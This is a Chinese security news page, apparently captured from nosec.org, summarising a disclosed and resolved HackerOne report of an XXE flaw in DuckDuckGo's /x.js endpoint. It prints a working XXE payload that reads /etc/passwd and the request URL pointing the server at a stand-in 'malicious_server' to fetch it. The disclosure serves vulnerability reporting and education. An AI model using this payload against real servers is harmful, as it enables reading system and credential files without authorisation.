

[投稿 \(https://nosec.org/home/caslogin\)](https://nosec.org/home/caslogin)[登录/注册 \(https://nosec.org/home/cas\)](https://nosec.org/home/cas)

首页 威胁情报 安全动态 漏洞预警 数据泄露 专题报告 技术分析 安全工具

(/home/index) (/home/index/threat) (/home/index/security) (/home/index/holes) (/home/index/leakage) (/home/index/speech) (/home/index/skill) (/home/index/to

DuckDuckGo搜索引擎的XXE漏洞

iso60001 1天前

Michele Romano (mik317)

3276 Reputation - Rank 5.75 Signal 92nd Percentile

78 #483774 **XXE on https://duckduckgo.com**

Share: [f](#) [t](#) [g+](#) [in](#) [y](#) [v](#)

State Resolved (Closed)

Severity Critical (9 ~ 10)

Disclosed **January 29, 2019 1:28am +0800**

Participants

Reported To **DuckDuckGo**

Visibility **Disclosed (Full)**

Asset ***.duckduckgo.com (Domain)**

Weakness **XML External Entities (XXE)**

NOSEC

近期，白帽汇安全研究院发现hackerone网站披露了DuckDuckGo搜索引擎的一个XXE漏洞。

DuckDuckGo是一个出现于2011年的互联网搜索引擎，其总部位于美国宾夕法尼亚州。和传统搜索引擎（谷歌，必应等）相比，DuckDuckGo着重保护用户的隐私，不监控、不记录用户的搜索内容，还会自动处理用户发出HTTP请求中的敏感信息（如Referer头），尽量减少第三方能获取的信息。

漏洞详情

漏洞发现者在浏览测试 <https://duckduckgo.com> (<https://duckduckgo.com>) 网站时，发现在路径 `/x.js` 中的参数 `?u` 存在XXE注入。

只要输入一个远程的xml资源 http://malicious_server/xxe.xml (http://malicious_server/xxe.xml)，服务器就会解析并执行，并返回一个输出。

而且网站对xml代码没有任何控制，所以攻击者可以引入一些恶意xml代码，对服务器进行攻击。

具体步骤如下

1.攻击者在他所控制的服务器中放上一个恶意xml文件，并对公网开放，文件内容如下。

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
  <user>&xxe;</user>
  <pass>mypass</pass>
</creds>
```

2.直接访问链接

https://duckduckgo.com/x.js?u=http://malicious_server/xxe.xml (https://duckduckgo.com/x.js?u=http://malicious_server/xxe.xml)

3.返回的页面可以看到xml文件解析结果

快速 专业 深入 全面



尽在白帽汇安全研究院公众号

相关推荐

13万Mikrotik设备被植入挖矿代码
(/home/detail/1748.html)

Python依赖库Numpy曝出远程代码...
(/home/detail/2207.html)

当国家安全局（NSA）给我打电话
(/home/detail/2154.html)

Google MyAccount价值7500美金的...
(/home/detail/1960.html)

CVE-2018-12018：以太坊Geth拒绝...
(/home/detail/1692.html)

热门文章

微信支付的JAVA SDK存在漏洞，可...
(/home/detail/1678.html)

阅读:17870 评论:17

我如何发现ucweb.com的两个XSS
(/home/detail/2011.html)

阅读:2598 评论:14

【漏洞预警】ThinkPHP v5.1.22曝...
(/home/detail/1821.html)

阅读:4667 评论:12

102个漏洞，近30个0Day，「FOFA」...
(/home/detail/1881.html)

阅读:4160 评论:11

【技术分析】Dolibarr ERP CRM...
(/home/detail/2142.html)

阅读:789 评论:11

【漏洞预警】九安视频监控设备疑...
(/home/detail/2045.html)


阅读:2719 评论:9

【漏洞预警】Redis 频发高危漏洞
(/home/detail/1645.html)

阅读:3738 评论:8

Tips:FOFA结合DNS/WebLOG写POC(..
(/home/detail/1812.html)


[illegible]

 **beagle** HackerOne staff changed the status to Triaged. Jan 22nd (8 days ago)

Hello [@mik317](#),

Thank you for your submission! I was able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

Regards,
[@beagle](#)

 **NOSEC**
nosec.org

```

graph TD
    A[漏洞] --> B[DuckDuckGo]
    B --> C[xxe]
    C --> D[搜索引擎]
    D --> E[工具]
  
```

漏洞 (https://nosec.org/home/search/keytag/漏洞.html) (https://nosec.org/home/search/keytag/DuckDuckGo.html)

DuckDuckGo

xxe (https://nosec.org/home/search/keytag/xxe.html)

搜索引擎 (https://nosec.org/home/search/keytag/搜索引擎.html)

工具 (https://nosec.org/home/search/keytag/工具.html)



昵称	<input type="text" value="请输入昵称"/>	邮箱	<input type="text" value="请输入邮箱地址"/>	已有账号， 登录 (/home/caslogin) 评论
----	------------------------------------	----	--------------------------------------	---

<https://nosec.org/home/detail/2219.html> Page 2 of 3



友情链接: FOFA (<https://fofa.so>) FOEYE (<http://www.baimaohui.net/foeye>)
nosec.org All Rights Reserved 京ICP备150

(<https://bcsec.org>) BAIMAOHUI (<http://baimaohui.net>)

(<https://www.anquanke.com>) i春秋 (<https://www.ichun>)